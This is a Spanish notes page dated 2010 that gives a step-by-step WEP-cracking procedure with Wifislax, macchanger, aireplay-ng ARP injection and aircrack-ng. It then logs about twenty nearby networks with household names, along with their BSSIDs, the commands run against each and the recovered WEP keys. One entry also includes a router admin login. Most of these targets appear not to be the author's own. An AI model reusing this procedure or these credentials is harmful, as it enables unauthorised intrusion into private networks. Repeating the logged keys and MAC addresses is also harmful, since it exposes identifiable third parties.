Inicio / Apuntes / Informática /

Auditoría de Redes WiFi con Wifislax y Aircrack-ng: Inyección de Tráfico y Descifrado WEP

Informática11 KB

Empezamos hoy, 20 de agosto de 2010.

Fase Previa: Configuración del Controlador

Paso previo: Recargar el módulo IPW2200 para habilitar el soporte de inyección de paquetes.

Procedimiento Paso a Paso con Aircrack-ng

  1. iwconfig

    Identificación de las interfaces de red inalámbricas disponibles.

  2. airodump-ng -w captura rtap0

    Para escanear y visualizar las redes disponibles en el entorno (actúa como sniffer).

  3. kmdr-executor /usr/share/wifislax/macchanger-conf.kmdr

    Herramienta gráfica para cambiar la dirección MAC: asignamos eth3 como dispositivo y 00:11:22:33:44:55 como MAC falsa.

  4. iwconfig eth3 essid "CPE" channel 6 key 66666

    Configuración manual para ejecutar una asociación falsa con el punto de acceso.

  5. aireplay-ng -3 -x 1024 -b 00:1B:9E:9C:B1:FB -h 00:11:22:33:44:55 -i rtap0 eth3

    Comando para iniciar la reinyección de paquetes ARP de forma inmediata.

  6. ls

    Lista los archivos con los paquetes capturados en el directorio de trabajo (elegir siempre el archivo con la numeración más alta).

  7. aircrack-ng -z captura-01.cap (o captura-02.cap, captura-03.cap, etc.)

    Inicia el proceso para desencriptar. Al finalizar la lectura del volcado, se selecciona el número correspondiente a la red objetivo y se pulsa Enter. Al concluir el cálculo matemático, el sistema devuelve la contraseña (PW). Si el resultado se presenta con el formato 34:er:45:..., únicamente se deben remover los dos puntos, resultando: 34er45.

Registro de Pruebas y Redes Auditadas

Red: 29362878

  • Seguridad: WEP
  • Canal: 1
  • Resultado: KEY FOUND! [ 30:33:33:41:41:44:45:42:43:35:44:35:37 ] (ASCII: 033AADEBC5D57)

Red: Hogar

  • Clave WEP: 2969500015ABCDE00000000000
  • Dispositivo: Router D-Link DI-524
  • Usuario: Alphanetworks
  • Contraseña (PW): wrgg15_di524
  • Comando ejecutado: aireplay-ng -3 -x 1024 -b 00:13:46:ED:E8:B6 -h 00:11:22:33:44:55 -i rtap0 eth3
  • Clave confirmada: 2969500015ABCDE00000000000

Red: Telmex

  • Contraseña (PW): 4DD53BBDE63C9

Red: TORO FERNANDEZ

  • Dirección MAC: 00:13:46:EE:54:D0
  • Grupo de trabajo: INICIOMS
  • Comandos ejecutados:
    • iwconfig eth3 essid "TORO FERNANDEZ" channel 6 key 66666
    • aireplay-ng -3 -x 1024 -b 00:13:46:EE:54:D0 -h 00:11:22:33:44:55 -i rtap0 eth3
  • Contraseña (PW): A1A2A3A4A5

Red: Serrano

  • Dirección MAC: 00:18:E7:24:DD:A2
  • Comandos ejecutados:
    • iwconfig eth3 essid "Serrano" channel 6 key 66666
    • aireplay-ng -3 -x 1024 -b 00:18:E7:24:DD:A2 -h 00:11:22:33:44:55 -i rtap0 eth3
  • Resultado: KEY FOUND! [ AA:AA:A1:11:11 ] AAAAA11111

Red: Familia Lopez

  • Dirección MAC: 00:1D:7E:2D:D1:F2
  • Comando ejecutado: aireplay-ng -3 -x 1024 -b 00:1D:7E:2D:D1:F2 -h 00:11:22:33:44:55 -i rtap0 eth3

Red: El hombre divertido (WPA)

  • Dirección MAC: 00:0F:B5:1F:75:74
  • Comando ejecutado: aireplay-ng -3 -x 1024 -b 00:0F:B5:1F:75:74 -h 00:11:22:33:44:55 -i rtap0 eth3

Red: Robinson

  • Dirección MAC: 00:19:5B:DF:ED:E6
  • Comandos ejecutados:
    • iwconfig eth3 essid "Robinson" channel 6 key 66666
    • aireplay-ng -3 -x 1024 -b 00:19:5B:DF:ED:E6 -h 00:11:22:33:44:55 -i rtap0 eth3
    • aircrack-ng -z captura-01.cap

Red: 049824190

  • Dirección MAC: 00:14:A5:86:AC:3E
  • Secuencia de comandos ejecutados:
    • iwconfig
    • airodump-ng -w captura rtap0
    • kmdr-executor /usr/share/wifislax/macchanger-conf.kmdr
    • iwconfig eth3 essid "049824190" channel 10 key 66666
    • aireplay-ng -3 -x 1024 -b 00:14:A5:86:AC:3E -h 00:11:22:33:44:55 -i rtap0 eth3
    • ls
    • aircrack-ng -z captura-01.cap

Red: CARDENAS

  • Dirección MAC: 00:18:E7:02:B0:15
  • Secuencia de comandos ejecutados:
    • iwconfig
    • airodump-ng -w captura rtap0
    • kmdr-executor /usr/share/wifislax/macchanger-conf.kmdr
    • iwconfig eth3 essid "CARDENAS" channel 6 key 66666
    • aireplay-ng -3 -x 1024 -b 00:18:E7:02:B0:15 -h 00:11:22:33:44:55 -i rtap0 eth3
    • ls
    • aircrack-ng -z captura-01.cap

Red: NETGEAR

  • Dirección MAC: 00:14:6C:A3:86:2C
  • Secuencia de comandos ejecutados:
    • iwconfig eth3 essid "NETGEAR" channel 11 key 66666
    • aireplay-ng -3 -x 1024 -b 00:14:6C:A3:86:2C -h 00:11:22:33:44:55 -i rtap0 eth3
    • aircrack-ng -z captura-01.cap

Red: LORE

  • Dirección MAC: 00:14:D1:4A:A5:4E
  • Secuencia de comandos ejecutados:
    • iwconfig eth3 essid "LORE" channel 1 key 66666
    • aireplay-ng -3 -x 1024 -b 00:14:D1:4A:A5:4E -h 00:11:22:33:44:55 -i rtap0 eth3
    • aircrack-ng -z captura-01.cap

Red: andres guzman

  • Dirección MAC: 00:21:63:8B:FA:73
  • Secuencia de comandos ejecutados:
    • iwconfig
    • airodump-ng -w captura rtap0
    • kmdr-executor /usr/share/wifislax/macchanger-conf.kmdr
    • iwconfig eth3 essid "andres guzman" channel 11 key 66666
    • aireplay-ng -3 -x 1024 -b 00:21:63:8B:FA:73 -h 00:11:22:33:44:55 -i rtap0 eth3
    • ls
    • aircrack-ng -z captura-01.cap

Red: FAMILIA FERRARO1

  • Dirección MAC: 00:1C:F0:38:BE:50
  • Cliente conectado: Ordenador con MAC 00:1B:77:C4:A7:CD
  • IP del Router: 10.1.1.1
  • Secuencia de comandos ejecutados:
    • iwconfig
    • airodump-ng -w captura rtap0
    • kmdr-executor /usr/share/wifislax/macchanger-conf.kmdr
    • iwconfig eth3 essid "FAMILIA FERRARO1" channel 6 key 66666
    • aireplay-ng -3 -x 1024 -b 00:1C:F0:38:BE:50 -h 00:11:22:33:44:55 -i rtap0 eth3
    • ls
    • aircrack-ng -z captura-01.cap
  • Clave: CC41721705

Red: inalambrica

  • Dirección MAC objetivo: 00:1A:70:52:34:1F
  • Secuencia de comandos ejecutados:
    • iwconfig
    • airodump-ng -w captura rtap0
    • kmdr-executor /usr/share/wifislax/macchanger-conf.kmdr
    • iwconfig eth3 essid "inalambrica" channel 11 key 66666
    • aireplay-ng -3 -x 1024 -b 00:1A:70:52:34:1F -h 00:11:22:33:44:55 -i rtap0 eth3
    • ls
    • aircrack-ng -z captura-01.cap

Red: de Emperita (07561004)

  • Identificador de red: 07561004
  • MAC del módem: 00:21:00:5C:0C:A1
  • Secuencia de comandos ejecutados:
    • iwconfig
    • airodump-ng -w captura rtap0
    • kmdr-executor /usr/share/wifislax/macchanger-conf.kmdr
    • iwconfig eth3 essid "07561004" channel 1 key 66666
    • aireplay-ng -3 -x 1024 -b 00:21:00:5C:0C:A1 -h 00:11:22:33:44:55 -i rtap0 eth3
    • ls
    • aircrack-ng -z captura-01.cap
  • Clave: 16FEABEE05343

Red: 4321782

  • MAC del módem: 00:1A:73:EC:E7:65
  • Secuencia de comandos ejecutados:
    • iwconfig
    • airodump-ng -w captura rtap0
    • kmdr-executor /usr/share/wifislax/macchanger-conf.kmdr
    • iwconfig eth3 essid "4321782" channel 1 key 66666
    • aireplay-ng -3 -x 1024 -b 00:1A:73:EC:E7:65 -h 00:11:22:33:44:55 -i rtap0 eth3
    • ls
    • aircrack-ng -z captura-01.cap
  • Clave: 93F296784312F

Red: BORMUJOS F & M

  • Dirección MAC: 00:18:E7:20:0B:92
  • Comandos ejecutados:
    • iwconfig eth3 essid "F & M" channel 6 key 66666
    • aireplay-ng -3 -x 1024 -b 00:18:E7:20:0B:92 -h 00:11:22:33:44:55 -i rtap0 eth3
    • aircrack-ng -z captura-01.cap
  • Clave: 111111111

Registro de Red Propia: 4040720875

Mi clave de 4040720875 es: 9587393924191

Red: WLAN_94 (BORMUJOS)

  • Dirección MAC: 00:19:15:50:04:01
  • Secuencia de comandos ejecutados:
    1. iwconfig
    2. airodump-ng -w captura rtap0 (para ver las redes disponibles; este es el sniffer)
    3. kmdr-executor /usr/share/wifislax/macchanger-conf.kmdr (para cambiar la MAC; le asignamos eth3 como dispositivo y 00:11:22:33:44:55 como MAC falsa)
    4. iwconfig eth3 essid "WLAN_94" channel 3 key 66666
    5. aireplay-ng -3 -x 1024 -b 00:19:15:50:04:01 -h 00:11:22:33:44:55 -i rtap0 eth3
    6. aircrack-ng -z captura-01.cap
  • Clave: [Pendiente / No especificada]

Descargar

PDF Word HTML